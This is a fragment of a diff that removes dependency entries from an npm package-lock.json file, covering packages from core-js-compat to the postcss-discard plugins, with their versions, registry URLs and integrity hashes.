- "version": "1.3.498", - "resolved": "https://registry.npmjs.org/electron-to-chromium/-/electron-to-chromium-1.3.498.tgz", - "integrity": "sha512-W1hGwaQEU8j9su2jeAr3aabkPuuXw+j8t73eajGAkEJWbfWiwbxBwQN/8Qmv2qCy3uCDm2rOAaZneYQM8VGC4w==", - "dev": true - }, - "node_modules/core-js-compat/node_modules/node-releases": { - "version": "1.1.59", - "resolved": "https://registry.npmjs.org/node-releases/-/node-releases-1.1.59.tgz", - "integrity": "sha512-H3JrdUczbdiwxN5FuJPyCHnGHIFqQ0wWxo+9j1kAXAzqNMAHlo+4I/sYYxpyK0irQ73HgdiyzD32oqQDcU2Osw==", - "dev": true - }, - "node_modules/core-js-compat/node_modules/semver": { - "version": "7.0.0", - "resolved": "https://registry.npmjs.org/semver/-/semver-7.0.0.tgz", - "integrity": "sha512-+GB6zVA9LWh6zovYQLALHwv5rb2PHGlJi3lfiqIHxR0uuwCgefcOJc59v9fv1w8GbStwxuuqqAjI9NMAOOgq1A==", - "dev": true, - "bin": { - "semver": "bin/semver.js" - } - }, - "node_modules/core-util-is": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/core-util-is/-/core-util-is-1.0.2.tgz", - "integrity": "sha1-tf1UIgqivFq1eqtxQMlAdUUDwac=", - "dev": true - }, - "node_modules/cosmiconfig": { - "version": "2.2.2", - "resolved": "https://registry.npmjs.org/cosmiconfig/-/cosmiconfig-2.2.2.tgz", - "integrity": "sha1-YXPOvVb6wELB9DkO33r2wHx8uJI=", - "dev": true, - "dependencies": { - "is-directory": "^0.3.1", - "js-yaml": "^3.4.3", - "minimist": "^1.2.0", - "object-assign": "^4.1.0", - "os-homedir": "^1.0.1", - "parse-json": "^2.2.0", - "require-from-string": "^1.1.0" - }, - "engines": { - "node": ">=0.12" - } - }, - "node_modules/crc": { - "version": "3.5.0", - "resolved": "https://registry.npmjs.org/crc/-/crc-3.5.0.tgz", - "integrity": "sha1-mLi6fUiWZbo5efWbITgTdBAaGWQ=", - "dev": true - }, - "node_modules/crc32-stream": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/crc32-stream/-/crc32-stream-2.0.0.tgz", - "integrity": "sha1-483TtN8xaN10494/u8t7KX/pCPQ=", - "dev": true, - "dependencies": { - "crc": "^3.4.4", - "readable-stream": "^2.0.0" - }, - "engines": { - "node": ">= 0.10.0" - } - }, - "node_modules/create-ecdh": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/create-ecdh/-/create-ecdh-4.0.0.tgz", - "integrity": "sha1-iIxyNZbN92EvZJgjPuvXo1MBc30=", - "dev": true, - "dependencies": { - "bn.js": "^4.1.0", - "elliptic": "^6.0.0" - } - }, - "node_modules/create-hash": { - "version": "1.1.3", - "resolved": "https://registry.npmjs.org/create-hash/-/create-hash-1.1.3.tgz", - "integrity": "sha1-YGBCrIuSYnUPSDyt2rD1gZFy2P0=", - "dev": true, - "dependencies": { - "cipher-base": "^1.0.1", - "inherits": "^2.0.1", - "ripemd160": "^2.0.0", - "sha.js": "^2.4.0" - } - }, - "node_modules/create-hmac": { - "version": "1.1.6", - "resolved": "https://registry.npmjs.org/create-hmac/-/create-hmac-1.1.6.tgz", - "integrity": "sha1-rLniIaThe9sHbpBlfEK5PjcmzwY=", - "dev": true, - "dependencies": { - "cipher-base": "^1.0.3", - "create-hash": "^1.1.0", - "inherits": "^2.0.1", - "ripemd160": "^2.0.0", - "safe-buffer": "^5.0.1", - "sha.js": "^2.4.8" - } - }, - "node_modules/create-react-class": { - "version": "15.6.3", - "resolved": "https://registry.npmjs.org/create-react-class/-/create-react-class-15.6.3.tgz", - "integrity": "sha512-M+/3Q6E6DLO6Yx3OwrWjwHBnvfXXYA7W+dFjt/ZDBemHO1DDZhsalX/NUtnTYclN6GfnBDRh4qRHjcDHmlJBJg==", - "dev": true, - "dependencies": { - "fbjs": "^0.8.9", - "loose-envify": "^1.3.1", - "object-assign": "^4.1.1" - } - }, - "node_modules/cross-env": { - "version": "5.2.0", - "resolved": "https://registry.npmjs.org/cross-env/-/cross-env-5.2.0.tgz", - "integrity": "sha512-jtdNFfFW1hB7sMhr/H6rW1Z45LFqyI431m3qU6bFXcQ3Eh7LtBuG3h74o7ohHZ3crrRkkqHlo4jYHFPcjroANg==", - "dev": true, - "dependencies": { - "cross-spawn": "^6.0.5", - "is-windows": "^1.0.0" - }, - "bin": { - "cross-env": "dist/bin/cross-env.js", - "cross-env-shell": "dist/bin/cross-env-shell.js" - }, - "engines": { - "node": ">=4.0" - } - }, - "node_modules/cross-env/node_modules/cross-spawn": { - "version": "6.0.5", - "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-6.0.5.tgz", - "integrity": "sha512-eTVLrBSt7fjbDygz805pMnstIs2VTBNkRm0qxZd+M7A5XDdxVRWO5MxGBXZhjY4cqLYLdtrGqRf8mBPmzwSpWQ==", - "dev": true, - "dependencies": { - "nice-try": "^1.0.4", - "path-key": "^2.0.1", - "semver": "^5.5.0", - "shebang-command": "^1.2.0", - "which": "^1.2.9" - }, - "engines": { - "node": ">=4.8" - } - }, - "node_modules/cross-env/node_modules/which": { - "version": "1.3.1", - "resolved": "https://registry.npmjs.org/which/-/which-1.3.1.tgz", - "integrity": "sha512-HxJdYWq1MTIQbJ3nw0cqssHoTNU267KlrDuGZ1WYlxDStUtKUhOaJmh112/TZmHxxUfuJqPXSOm7tDyas0OSIQ==", - "dev": true, - "dependencies": { - "isexe": "^2.0.0" - }, - "bin": { - "which": "bin/which" - } - }, - "node_modules/cross-spawn": { - "version": "5.1.0", - "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-5.1.0.tgz", - "integrity": "sha1-6L0O/uWPz/b4+UUQoKVUu/ojVEk=", - "dev": true, - "dependencies": { - "lru-cache": "^4.0.1", - "shebang-command": "^1.2.0", - "which": "^1.2.9" - } - }, - "node_modules/cross-spawn/node_modules/which": { - "version": "1.3.1", - "resolved": "https://registry.npmjs.org/which/-/which-1.3.1.tgz", - "integrity": "sha512-HxJdYWq1MTIQbJ3nw0cqssHoTNU267KlrDuGZ1WYlxDStUtKUhOaJmh112/TZmHxxUfuJqPXSOm7tDyas0OSIQ==", - "dev": true, - "dependencies": { - "isexe": "^2.0.0" - }, - "bin": { - "which": "bin/which" - } - }, - "node_modules/crypt": { - "version": "0.0.2", - "resolved": "https://registry.npmjs.org/crypt/-/crypt-0.0.2.tgz", - "integrity": "sha1-iNf/fsDfuG9xPch7u0LQRNPmxBs=", - "dev": true, - "engines": { - "node": "*" - } - }, - "node_modules/crypto-browserify": { - "version": "3.11.0", - "resolved": "https://registry.npmjs.org/crypto-browserify/-/crypto-browserify-3.11.0.tgz", - "integrity": "sha1-NlKgkGq5sqfgw85mpAjpV6JIVSI=", - "dev": true, - "dependencies": { - "browserify-cipher": "^1.0.0", - "browserify-sign": "^4.0.0", - "create-ecdh": "^4.0.0", - "create-hash": "^1.1.0", - "create-hmac": "^1.1.0", - "diffie-hellman": "^5.0.0", - "inherits": "^2.0.1", - "pbkdf2": "^3.0.3", - "public-encrypt": "^4.0.0", - "randombytes": "^2.0.0" - }, - "engines": { - "node": "*" - } - }, - "node_modules/css-color-names": { - "version": "0.0.4", - "resolved": "https://registry.npmjs.org/css-color-names/-/css-color-names-0.0.4.tgz", - "integrity": "sha1-gIrcLnnPhHOAabZGyyDsJ762KeA=", - "dev": true, - "engines": { - "node": "*" - } - }, - "node_modules/css-declaration-sorter": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/css-declaration-sorter/-/css-declaration-sorter-3.0.1.tgz", - "integrity": "sha512-jH4024SHZ3e0M7ann9VxpFpH3moplRXNz9ZBqvFMZqi09Yo5ARbs2wdPH8GqN9iRTlQynrbGbraNbBxBLei85Q==", - "dev": true, - "dependencies": { - "postcss": "^6.0.0", - "timsort": "^0.3.0" - } - }, - "node_modules/css-declaration-sorter/node_modules/ansi-styles": { - "version": "3.2.1", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", - "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", - "dev": true, - "dependencies": { - "color-convert": "^1.9.0" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/css-declaration-sorter/node_modules/chalk": { - "version": "2.4.1", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.1.tgz", - "integrity": "sha512-ObN6h1v2fTJSmUXoS3nMQ92LbDK9be4TV+6G+omQlGJFdcUX5heKi1LZ1YnRMIgwTLEj3E24bT6tYni50rlCfQ==", - "dev": true, - "dependencies": { - "ansi-styles": "^3.2.1", - "escape-string-regexp": "^1.0.5", - "supports-color": "^5.3.0" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/css-declaration-sorter/node_modules/color-convert": { - "version": "1.9.2", - "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.2.tgz", - "integrity": "sha512-3NUJZdhMhcdPn8vJ9v2UQJoH0qqoGUkYTgFEPZaPjEtwmmKUfNV46zZmgB2M5M4DCEQHMaCfWHCxiBflLm04Tg==", - "dev": true, - "dependencies": { - "color-name": "1.1.1" - } - }, - "node_modules/css-declaration-sorter/node_modules/color-name": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.1.tgz", - "integrity": "sha1-SxQVMEz1ACjqgWQ2Q72C6gWANok=", - "dev": true - }, - "node_modules/css-declaration-sorter/node_modules/has-flag": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", - "integrity": "sha1-tdRU3CGZriJWmfNGfloH87lVuv0=", - "dev": true, - "engines": { - "node": ">=4" - } - }, - "node_modules/css-declaration-sorter/node_modules/postcss": { - "version": "6.0.23", - "resolved": "https://registry.npmjs.org/postcss/-/postcss-6.0.23.tgz", - "integrity": "sha512-soOk1h6J3VMTZtVeVpv15/Hpdl2cBLX3CAw4TAbkpTJiNPk9YP/zWcD1ND+xEtvyuuvKzbxliTOIyvkSeSJ6ag==", - "dev": true, - "dependencies": { - "chalk": "^2.4.1", - "source-map": "^0.6.1", - "supports-color": "^5.4.0" - }, - "engines": { - "node": ">=4.0.0" - } - }, - "node_modules/css-declaration-sorter/node_modules/source-map": { - "version": "0.6.1", - "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", - "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", - "dev": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/css-declaration-sorter/node_modules/supports-color": { - "version": "5.4.0", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.4.0.tgz", - "integrity": "sha512-zjaXglF5nnWpsq470jSv6P9DwPvgLkuapYmfDm3JWOm0vkNTVF2tI4UrN2r6jH1qM/uc/WtxYY1hYoA2dOKj5w==", - "dev": true, - "dependencies": { - "has-flag": "^3.0.0" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/css-loader": { - "version": "0.28.11", - "resolved": "https://registry.npmjs.org/css-loader/-/css-loader-0.28.11.tgz", - "integrity": "sha512-wovHgjAx8ZIMGSL8pTys7edA1ClmzxHeY6n/d97gg5odgsxEgKjULPR0viqyC+FWMCL9sfqoC/QCUBo62tLvPg==", - "dev": true, - "dependencies": { - "babel-code-frame": "^6.26.0", - "css-selector-tokenizer": "^0.7.0", - "cssnano": "^3.10.0", - "icss-utils": "^2.1.0", - "loader-utils": "^1.0.2", - "lodash.camelcase": "^4.3.0", - "object-assign": "^4.1.1", - "postcss": "^5.0.6", - "postcss-modules-extract-imports": "^1.2.0", - "postcss-modules-local-by-default": "^1.2.0", - "postcss-modules-scope": "^1.1.0", - "postcss-modules-values": "^1.3.0", - "postcss-value-parser": "^3.3.0", - "source-list-map": "^2.0.0" - }, - "engines": { - "node": ">=0.12.0 || >= 4.3.0 < 5.0.0 || >=5.10" - } - }, - "node_modules/css-select": { - "version": "1.3.0-rc0", - "resolved": "https://registry.npmjs.org/css-select/-/css-select-1.3.0-rc0.tgz", - "integrity": "sha1-b5MZaqrnN2ZuoQNqjLFKj8t6kjE=", - "dev": true, - "dependencies": { - "boolbase": "^1.0.0", - "css-what": "2.1", - "domutils": "1.5.1", - "nth-check": "^1.0.1" - } - }, - "node_modules/css-select-base-adapter": { - "version": "0.1.0", - "resolved": "https://registry.npmjs.org/css-select-base-adapter/-/css-select-base-adapter-0.1.0.tgz", - "integrity": "sha1-AQKz0UYw34bD65+p9UVicBBs+ZA=", - "dev": true - }, - "node_modules/css-selector-tokenizer": { - "version": "0.7.0", - "resolved": "https://registry.npmjs.org/css-selector-tokenizer/-/css-selector-tokenizer-0.7.0.tgz", - "integrity": "sha1-5piEdK6MlTR3v15+/s/OzNnPTIY=", - "dev": true, - "dependencies": { - "cssesc": "^0.1.0", - "fastparse": "^1.1.1", - "regexpu-core": "^1.0.0" - } - }, - "node_modules/css-selector-tokenizer/node_modules/regexpu-core": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/regexpu-core/-/regexpu-core-1.0.0.tgz", - "integrity": "sha1-hqdj9Y7k18L2sQLkdkBQ3n7ZDGs=", - "dev": true, - "dependencies": { - "regenerate": "^1.2.1", - "regjsgen": "^0.2.0", - "regjsparser": "^0.1.4" - } - }, - "node_modules/css-to-xpath": { - "version": "0.1.0", - "resolved": "https://registry.npmjs.org/css-to-xpath/-/css-to-xpath-0.1.0.tgz", - "integrity": "sha1-rA0cJs7wI/e9jPLh/B93E0vHDEc=", - "dev": true, - "dependencies": { - "bo-selector": "0.0.10", - "xpath-builder": "0.0.7" - } - }, - "node_modules/css-tree": { - "version": "1.0.0-alpha25", - "resolved": "https://registry.npmjs.org/css-tree/-/css-tree-1.0.0-alpha25.tgz", - "integrity": "sha512-XC6xLW/JqIGirnZuUWHXCHRaAjje2b3OIB0Vj5RIJo6mIi/AdJo30quQl5LxUl0gkXDIrTrFGbMlcZjyFplz1A==", - "dev": true, - "dependencies": { - "mdn-data": "^1.0.0", - "source-map": "^0.5.3" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/css-unit-converter": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/css-unit-converter/-/css-unit-converter-1.1.1.tgz", - "integrity": "sha1-2bkoGtz9jO2TW9urqDeGiX9k6ZY=", - "dev": true - }, - "node_modules/css-url-regex": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/css-url-regex/-/css-url-regex-1.1.0.tgz", - "integrity": "sha1-g4NCMMyfdMRX3lnuvRVD/uuDt+w=", - "dev": true - }, - "node_modules/css-what": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/css-what/-/css-what-2.1.0.tgz", - "integrity": "sha1-lGfQMsOM+u+58teVASUwYvh/ob0=", - "dev": true, - "engines": { - "node": "*" - } - }, - "node_modules/cssesc": { - "version": "0.1.0", - "resolved": "https://registry.npmjs.org/cssesc/-/cssesc-0.1.0.tgz", - "integrity": "sha1-yBSQPkViM3GgR3tAEJqq++6t27Q=", - "dev": true, - "bin": { - "cssesc": "bin/cssesc" - } - }, - "node_modules/cssnano": { - "version": "3.10.0", - "resolved": "https://registry.npmjs.org/cssnano/-/cssnano-3.10.0.tgz", - "integrity": "sha1-Tzj2zqK5sX+gFJDyPx3GjqZcHDg=", - "dev": true, - "dependencies": { - "autoprefixer": "^6.3.1", - "decamelize": "^1.1.2", - "defined": "^1.0.0", - "has": "^1.0.1", - "object-assign": "^4.0.1", - "postcss": "^5.0.14", - "postcss-calc": "^5.2.0", - "postcss-colormin": "^2.1.8", - "postcss-convert-values": "^2.3.4", - "postcss-discard-comments": "^2.0.4", - "postcss-discard-duplicates": "^2.0.1", - "postcss-discard-empty": "^2.0.1", - "postcss-discard-overridden": "^0.1.1", - "postcss-discard-unused": "^2.2.1", - "postcss-filter-plugins": "^2.0.0", - "postcss-merge-idents": "^2.1.5", - "postcss-merge-longhand": "^2.0.1", - "postcss-merge-rules": "^2.0.3", - "postcss-minify-font-values": "^1.0.2", - "postcss-minify-gradients": "^1.0.1", - "postcss-minify-params": "^1.0.4", - "postcss-minify-selectors": "^2.0.4", - "postcss-normalize-charset": "^1.1.0", - "postcss-normalize-url": "^3.0.7", - "postcss-ordered-values": "^2.1.0", - "postcss-reduce-idents": "^2.2.2", - "postcss-reduce-initial": "^1.0.0", - "postcss-reduce-transforms": "^1.0.3", - "postcss-svgo": "^2.1.1", - "postcss-unique-selectors": "^2.0.2", - "postcss-value-parser": "^3.2.3", - "postcss-zindex": "^2.0.1" - } - }, - "node_modules/cssnano-preset-default": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/cssnano-preset-default/-/cssnano-preset-default-4.0.0.tgz", - "integrity": "sha1-wzQoe099SfstFwqS+SFGVXiOO2s=", - "dev": true, - "dependencies": { - "css-declaration-sorter": "^3.0.0", - "cssnano-util-raw-cache": "^4.0.0", - "postcss": "^6.0.0", - "postcss-calc": "^6.0.0", - "postcss-colormin": "^4.0.0", - "postcss-convert-values": "^4.0.0", - "postcss-discard-comments": "^4.0.0", - "postcss-discard-duplicates": "^4.0.0", - "postcss-discard-empty": "^4.0.0", - "postcss-discard-overridden": "^4.0.0", - "postcss-merge-longhand": "^4.0.0", - "postcss-merge-rules": "^4.0.0", - "postcss-minify-font-values": "^4.0.0", - "postcss-minify-gradients": "^4.0.0", - "postcss-minify-params": "^4.0.0", - "postcss-minify-selectors": "^4.0.0", - "postcss-normalize-charset": "^4.0.0", - "postcss-normalize-display-values": "^4.0.0", - "postcss-normalize-positions": "^4.0.0", - "postcss-normalize-repeat-style": "^4.0.0", - "postcss-normalize-string": "^4.0.0", - "postcss-normalize-timing-functions": "^4.0.0", - "postcss-normalize-unicode": "^4.0.0", - "postcss-normalize-url": "^4.0.0", - "postcss-normalize-whitespace": "^4.0.0", - "postcss-ordered-values": "^4.0.0", - "postcss-reduce-initial": "^4.0.0", - "postcss-reduce-transforms": "^4.0.0", - "postcss-svgo": "^4.0.0", - "postcss-unique-selectors": "^4.0.0" - }, - "engines": { - "node": ">=6.9.0" - } - }, - "node_modules/cssnano-preset-default/node_modules/ansi-styles": { - "version": "3.2.1", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", - "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", - "dev": true, - "dependencies": { - "color-convert": "^1.9.0" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/cssnano-preset-default/node_modules/browserslist": { - "version": "4.0.1", - "resolved": "https://registry.npmjs.org/browserslist/-/browserslist-4.0.1.tgz", - "integrity": "sha512-QqiiIWchEIkney3wY53/huI7ZErouNAdvOkjorUALAwRcu3tEwOV3Sh6He0DnP38mz1JjBpCBb50jQBmaYuHPw==", - "dev": true, - "dependencies": { - "caniuse-lite": "^1.0.30000865", - "electron-to-chromium": "^1.3.52", - "node-releases": "^1.0.0-alpha.10" - }, - "bin": { - "browserslist": "cli.js" - } - }, - "node_modules/cssnano-preset-default/node_modules/caniuse-api": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/caniuse-api/-/caniuse-api-3.0.0.tgz", - "integrity": "sha512-bsTwuIg/BZZK/vreVTYYbSWoe2F+71P7K5QGEX+pT250DZbfU1MQ5prOKpPR+LL6uWKK3KMwMCAS74QB3Um1uw==", - "dev": true, - "dependencies": { - "browserslist": "^4.0.0", - "caniuse-lite": "^1.0.0", - "lodash.memoize": "^4.1.2", - "lodash.uniq": "^4.5.0" - } - }, - "node_modules/cssnano-preset-default/node_modules/caniuse-lite": { - "version": "1.0.30000865", - "resolved": "https://registry.npmjs.org/caniuse-lite/-/caniuse-lite-1.0.30000865.tgz", - "integrity": "sha512-vs79o1mOSKRGv/1pSkp4EXgl4ZviWeYReXw60XfacPU64uQWZwJT6vZNmxRF9O+6zu71sJwMxLK5JXxbzuVrLw==", - "dev": true - }, - "node_modules/cssnano-preset-default/node_modules/chalk": { - "version": "2.4.1", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.1.tgz", - "integrity": "sha512-ObN6h1v2fTJSmUXoS3nMQ92LbDK9be4TV+6G+omQlGJFdcUX5heKi1LZ1YnRMIgwTLEj3E24bT6tYni50rlCfQ==", - "dev": true, - "dependencies": { - "ansi-styles": "^3.2.1", - "escape-string-regexp": "^1.0.5", - "supports-color": "^5.3.0" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/cssnano-preset-default/node_modules/coa": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/coa/-/coa-2.0.1.tgz", - "integrity": "sha512-5wfTTO8E2/ja4jFSxePXlG5nRu5bBtL/r1HCIpJW/lzT6yDtKl0u0Z4o/Vpz32IpKmBn7HerheEZQgA9N2DarQ==", - "dev": true, - "dependencies": { - "q": "^1.1.2" - }, - "engines": { - "node": ">= 4.0" - } - }, - "node_modules/cssnano-preset-default/node_modules/color": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/color/-/color-3.0.0.tgz", - "integrity": "sha512-jCpd5+s0s0t7p3pHQKpnJ0TpQKKdleP71LWcA0aqiljpiuAkOSUFN/dyH8ZwF0hRmFlrIuRhufds1QyEP9EB+w==", - "dev": true, - "dependencies": { - "color-convert": "^1.9.1", - "color-string": "^1.5.2" - } - }, - "node_modules/cssnano-preset-default/node_modules/color-convert": { - "version": "1.9.2", - "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.2.tgz", - "integrity": "sha512-3NUJZdhMhcdPn8vJ9v2UQJoH0qqoGUkYTgFEPZaPjEtwmmKUfNV46zZmgB2M5M4DCEQHMaCfWHCxiBflLm04Tg==", - "dev": true, - "dependencies": { - "color-name": "1.1.1" - } - }, - "node_modules/cssnano-preset-default/node_modules/color-name": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.1.tgz", - "integrity": "sha1-SxQVMEz1ACjqgWQ2Q72C6gWANok=", - "dev": true - }, - "node_modules/cssnano-preset-default/node_modules/color-string": { - "version": "1.5.2", - "resolved": "https://registry.npmjs.org/color-string/-/color-string-1.5.2.tgz", - "integrity": "sha1-JuRYFLw8mny9Z1FkikFDRRSnc6k=", - "dev": true, - "dependencies": { - "color-name": "^1.0.0", - "simple-swizzle": "^0.2.2" - } - }, - "node_modules/cssnano-preset-default/node_modules/csso": { - "version": "3.5.1", - "resolved": "https://registry.npmjs.org/csso/-/csso-3.5.1.tgz", - "integrity": "sha512-vrqULLffYU1Q2tLdJvaCYbONStnfkfimRxXNaGjxMldI0C7JPBC4rB1RyjhfdZ4m1frm8pM9uRPKH3d2knZ8gg==", - "dev": true, - "dependencies": { - "css-tree": "1.0.0-alpha.29" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/cssnano-preset-default/node_modules/csso/node_modules/css-tree": { - "version": "1.0.0-alpha.29", - "resolved": "https://registry.npmjs.org/css-tree/-/css-tree-1.0.0-alpha.29.tgz", - "integrity": "sha512-sRNb1XydwkW9IOci6iB2xmy8IGCj6r/fr+JWitvJ2JxQRPzN3T4AGGVWCMlVmVwM1gtgALJRmGIlWv5ppnGGkg==", - "dev": true, - "dependencies": { - "mdn-data": "~1.1.0", - "source-map": "^0.5.3" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/cssnano-preset-default/node_modules/csso/node_modules/source-map": { - "version": "0.5.7", - "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.5.7.tgz", - "integrity": "sha1-igOdLRAh0i0eoUyA2OpGi6LvP8w=", - "dev": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/cssnano-preset-default/node_modules/electron-to-chromium": { - "version": "1.3.52", - "resolved": "https://registry.npmjs.org/electron-to-chromium/-/electron-to-chromium-1.3.52.tgz", - "integrity": "sha1-0tnxJwuko7lnuDHEDvcftNmrXOA=", - "dev": true - }, - "node_modules/cssnano-preset-default/node_modules/esprima": { - "version": "4.0.1", - "resolved": "https://registry.npmjs.org/esprima/-/esprima-4.0.1.tgz", - "integrity": "sha512-eGuFFw7Upda+g4p+QHvnW0RyTX/SVeJBDM/gCtMARO0cLuT2HcEKnTPvhjV6aGeqrCB/sbNop0Kszm0jsaWU4A==", - "dev": true, - "bin": { - "esparse": "bin/esparse.js", - "esvalidate": "bin/esvalidate.js" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/cssnano-preset-default/node_modules/has-flag": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", - "integrity": "sha1-tdRU3CGZriJWmfNGfloH87lVuv0=", - "dev": true, - "engines": { - "node": ">=4" - } - }, - "node_modules/cssnano-preset-default/node_modules/is-svg": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/is-svg/-/is-svg-3.0.0.tgz", - "integrity": "sha512-gi4iHK53LR2ujhLVVj+37Ykh9GLqYHX6JOVXbLAucaG/Cqw9xwdFOjDM2qeifLs1sF1npXXFvDu0r5HNgCMrzQ==", - "dev": true, - "dependencies": { - "html-comment-regex": "^1.1.0" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/cssnano-preset-default/node_modules/js-yaml": { - "version": "3.10.0", - "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-3.10.0.tgz", - "integrity": "sha512-O2v52ffjLa9VeM43J4XocZE//WT9N0IiwDa3KSHH7Tu8CtH+1qM8SIZvnsTh6v+4yFy5KUY3BHUVwjpfAWsjIA==", - "dev": true, - "dependencies": { - "argparse": "^1.0.7", - "esprima": "^4.0.0" - }, - "bin": { - "js-yaml": "bin/js-yaml.js" - } - }, - "node_modules/cssnano-preset-default/node_modules/lodash.memoize": { - "version": "4.1.2", - "resolved": "https://registry.npmjs.org/lodash.memoize/-/lodash.memoize-4.1.2.tgz", - "integrity": "sha1-vMbEmkKihA7Zl/Mj6tpezRguC/4=", - "dev": true - }, - "node_modules/cssnano-preset-default/node_modules/normalize-url": { - "version": "3.2.0", - "resolved": "https://registry.npmjs.org/normalize-url/-/normalize-url-3.2.0.tgz", - "integrity": "sha512-WvF3Myk0NhXkG8S9bygFM4IC1KOvnVJGq0QoGeoqOYOBeinBZp5ybW3QuYbTc89lkWBMM9ZBO4QGRoc0353kKA==", - "dev": true, - "engines": { - "node": ">=6" - } - }, - "node_modules/cssnano-preset-default/node_modules/postcss": { - "version": "6.0.23", - "resolved": "https://registry.npmjs.org/postcss/-/postcss-6.0.23.tgz", - "integrity": "sha512-soOk1h6J3VMTZtVeVpv15/Hpdl2cBLX3CAw4TAbkpTJiNPk9YP/zWcD1ND+xEtvyuuvKzbxliTOIyvkSeSJ6ag==", - "dev": true, - "dependencies": { - "chalk": "^2.4.1", - "source-map": "^0.6.1", - "supports-color": "^5.4.0" - }, - "engines": { - "node": ">=4.0.0" - } - }, - "node_modules/cssnano-preset-default/node_modules/postcss-calc": { - "version": "6.0.1", - "resolved": "https://registry.npmjs.org/postcss-calc/-/postcss-calc-6.0.1.tgz", - "integrity": "sha1-PSQXG79udinUIqQ26/5t2VEfQzA=", - "dev": true, - "dependencies": { - "css-unit-converter": "^1.1.1", - "postcss": "^6.0.0", - "postcss-selector-parser": "^2.2.2", - "reduce-css-calc": "^2.0.0" - } - }, - "node_modules/cssnano-preset-default/node_modules/postcss-colormin": { - "version": "4.0.1", - "resolved": "https://registry.npmjs.org/postcss-colormin/-/postcss-colormin-4.0.1.tgz", - "integrity": "sha1-bxwYoBVbxpYT8v8ThD4uSuj/C74=", - "dev": true, - "dependencies": { - "browserslist": "^4.0.0", - "color": "^3.0.0", - "has": "^1.0.0", - "postcss": "^6.0.0", - "postcss-value-parser": "^3.0.0" - }, - "engines": { - "node": ">=6.9.0" - } - }, - "node_modules/cssnano-preset-default/node_modules/postcss-convert-values": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/postcss-convert-values/-/postcss-convert-values-4.0.0.tgz", - "integrity": "sha1-d9d9mu0dxOaVbmUcw0nVMwWHb2I=", - "dev": true, - "dependencies": { - "postcss": "^6.0.0", - "postcss-value-parser": "^3.0.0" - }, - "engines": { - "node": ">=6.9.0" - } - }, - "node_modules/cssnano-preset-default/node_modules/postcss-discard-comments": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/postcss-discard-comments/-/postcss-discard-comments-4.0.0.tgz", - "integrity": "sha1-loSimedrPpMmPvj9KtvxocCP2I0=", - "dev": true, - "dependencies": { - "postcss": "^6.0.0" - }, - "engines": { - "node": ">=6.9.0" - } - }, - "node_modules/cssnano-preset-default/node_modules/postcss-discard-duplicates": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/postcss-discard-duplicates/-/postcss-discard-duplicates-4.0.0.tgz", - "integrity": "sha1-QvPCZ/hfqQngQsNXZ+z9Zcsr1yw=", - "dev": true, - "dependencies": { - "postcss": "^6.0.0" - }, - "engines": { - "node": ">=6.9.0" - } - }, - "node_modules/cssnano-preset-default/node_modules/postcss-discard-empty": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/postcss-discard-empty/-/postcss-discard-empty-4.0.0.tgz", - "integrity": "sha1-VeGKWcdBKOOMfSgEvPpAVmEfuX8=", - "dev": true, - "dependencies": { - "postcss": "^6.0.0" - }, - "engines": { - "node": ">=6.9.0" - } - }, - "node_modules/cssnano-preset-default/node_modules/postcss-discard-overridden": { - "version": "4.0.0", - "resolved": 